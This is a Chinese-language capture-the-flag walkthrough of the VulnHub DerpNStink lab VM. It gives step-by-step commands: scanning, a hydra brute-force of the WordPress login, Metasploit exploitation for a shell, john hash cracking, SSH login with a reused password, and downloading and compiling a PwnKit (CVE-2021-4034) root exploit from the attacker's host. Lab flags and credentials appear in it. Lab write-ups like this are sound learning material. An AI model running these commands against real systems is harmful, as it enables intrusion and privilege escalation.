下载地址
https://www.vulnhub.com/entry/derpnstink-1,221/
信息搜集
主机探测
arp-scan -l
端口扫描
nmap -sS -sV -sC -O -T5 -Pn -p- 192.168.0.141
发现三个端口
21 FTP
22 ssh
80 http
目录扫描
dirsearch -u http://192.168.0.141
网页探索
先看看 80 端口的
http://192.168.0.141:80
查看源码发现了第一个 falg
flag1(52E37291AEDF6A46D7D0BB8A6312F4F9F1AA4975C248C3F0E008CBA09D6E9166)
漏洞探测
并获得提示,在hosts配置DNS。(但是找不到配置,再看看其他的)
目录扫描中发现/robots.txt ,看看是有什么,查看之后发现没有什么有用的信息
http://192.168.0.141/robots.txt
找不到其他信息,后来用 dirb 再次扫描目录,
dirb http://192.168.0.141
发现/weblog/
http://192.168.0.141/weblog/
在访问此地址时,自动跳转至http://derpnstink.local/weblog/,在根据上面提示,明白了要在hosts文件中怎样配置了
配置hosts配置,并启动生效hosts文件
目录位置是在:
C:\Windows\System32\drivers\etc\hosts
写入:
192.168.0.141 http://derpnstink.local
http://192.168.10.141/temporary/ 没有什么信息,
http://192.168.0.141/php/phpmyadmin/ 一个mysql管理界面,不知道版本,只能口令爆破一下,用了
root root’ or 1=1#常见的账号密码都不行,就暂时放一下
http://192.168.0.141/php/phpmyadmin/
http://192.168.0.141/weblog/wp-admin/
一个登陆界面
尝试用弱口令 admin/admin 一下子就进去了
###如果蒙不对可以用九头蛇爆破
hydra -l admin -P /tmp/pw.txt -vV 192.168.0.141 http-post-form "/weblog/wp-login.php:log=^USER^&pwd=^PASS^:error"
发现使用了WordPress 5.5.3管理系统
WordPress是使用PHP语言开发的博客平台
wpscan扫描
使用wpscan扫描wordpress框架
wpscan --url 'http://derpnstink.local/weblog/' --api-token 'xxxxxxxxxxxxxxxxxx'
漏洞利用
getShell
使用msf查询一下(CVE-2014-5460)漏洞exp,有可以利用的exp,
msfconsole
search cve:CVE-2014-5460
进入exp,执行Show options 查询一下配置
show options
配置msf
use 0
set rhosts 192.168.0.141
set wp_user admin
set wp_password admin
set vhost derpnstink.local
set t
set targeturi /weblog/
show options
run
获得shell
因为不是一个完整的shell,执行
shell
python -c 'import pty; pty.spawn("/bin/bash")'
提权
查看当前角色和内核版本,普通用户和linux 4.4.0 框架I686
id
uname -a
试了半天,没找到可以利用的内核提权漏洞,发现靶机用root用户运行的mysql,看看可以可以使用udf提权
ps -ef | frep mysql
cd /var/www/html/weblog
ls
cat wp-config.php
之前dirb扫出来过mysql的登录目录,我们登进去查看
root/mysql
在 wp_post 中发现 flag2
flag2(a7d355b26bda6bf1196ccffead0b2cf2b81f0a9de5b4876b44407f1dc07e51e6)
在wp_users表中发现另一个用户unclestinky和和hash加密过后的密码
unclestinky/$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41
kali来破解一下这段加密的密码
1. echo '$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41' >>/tmp/hash9.hash
2.cd /tmp
3. john hash9.hash --wordlist=/usr/share/wordlists/rockyou.txt
##首次启动Kali Linux时,它被压缩为gz文件。要解压缩,请运行以下命令。它会解压缩并准备用于您想要的任何类型的攻击。
解压命令:gzip -d /usr/share/wordlists/rockyou.txt.gz
得到密码为wedgie57,再登录一下刚才登的网站,用户名是Unclestinky,只找到了之前在数据库发现的flag2,没有其他信息了
Unclestinky/wedgie57
找的还是之前的 flag!!!
在home目录找到两个名字mrderp和stinky
cd home
ls
之前nmap扫出来过22端口,尝试ssh登录,发现没法用密码登录,需要指纹密钥
ssh stinky@192.168.0.141
之前找到 stinky,切换一下看是否能进去
stinky/wedgie57
直接就进来了
ls -al
cd stinky
la -al
cd desktop
ls
cat flag.txt
发现 flag3
flag3(07f62b021771d3cf67e2e1faf18769cc5e5c119ad7d4d1847a11e11d6d5a7ecb)
从github中找到了对应版本的提权脚本,我们将其下载并放到kali桌面
开启kali的http服务,将脚本复制到网站根目录下
service apache2 restart
cp cve-2021-4034-poc.c /var/www/html
利用kali的http服务,将脚本下载到靶机,给到其执行权限,将其编译
wget http://192.168.0.128/cve-2021-4034-poc.c
chmod +x cve-2021-4034-poc.c
gcc -pthread cve-2021-4034-poc.c -o cve-2021-4034-poc -lcrypt
./cve-2021-4034-poc
whoami
提权成功!!!
最后在/root/Desktop目录下找到了最后一个flag
cd /root/Desktop
ls
cat flag.txt
找打 flag4
flag4(49dca65f362fee401292ed7ada96f96295eab1e589c52e4e66bf4aedda715fdd)
四个 flag 就全部找完,这个靶机也是完成了!!!!